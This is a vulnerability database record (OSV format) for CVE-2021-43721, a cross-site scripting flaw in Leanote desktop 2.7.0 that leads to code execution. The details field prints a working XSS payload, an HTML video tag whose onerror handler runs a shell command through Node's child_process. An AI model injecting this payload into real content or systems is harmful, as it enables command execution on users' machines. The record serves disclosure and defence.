{"id":"CVE-2021-43721","details":"Leanote 2.7.0 is vulnerable to Cross Site Scripting (XSS) in the markdown type note. This leads to remote code execution with payload : \u003cvideo src=x onerror=(function(){require('child_process').exec('calc');})();\u003e","modified":"2026-10-24T02:47:31.903283377Z","published":"2022-03-28T14:15:07.627Z","database_specific":{},"references":[{"type":"REPORT","url":"https://github.com/leanote/desktop-app/issues/364"}],"affected":[{"ranges":[{"type":"GIT","repo":"https://github.com/leanote/desktop-app","events":[{"introduced":"c34c847586fbb566eb8ea4e87f2e7acd5c088221"},{"last_affected":"c34c847586fbb566eb8ea4e87f2e7acd5c088221"}],"database_specific":{"extracted_events":[{"cpe":"cpe:2.3:a:leanote:leanote:2.7.0:*:*:*:*:*:*:*","range":[{"introduced":"2.7.0"},{"last_affected":"2.7.0"}],"source":"CPE_STRING"}]}}],"versions":["2.7.0","v2.7.0"],"database_specific":{"source":"https://storage.googleapis.com/cve-osv-conversion/osv-output/CVE-2021-43721.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"}]}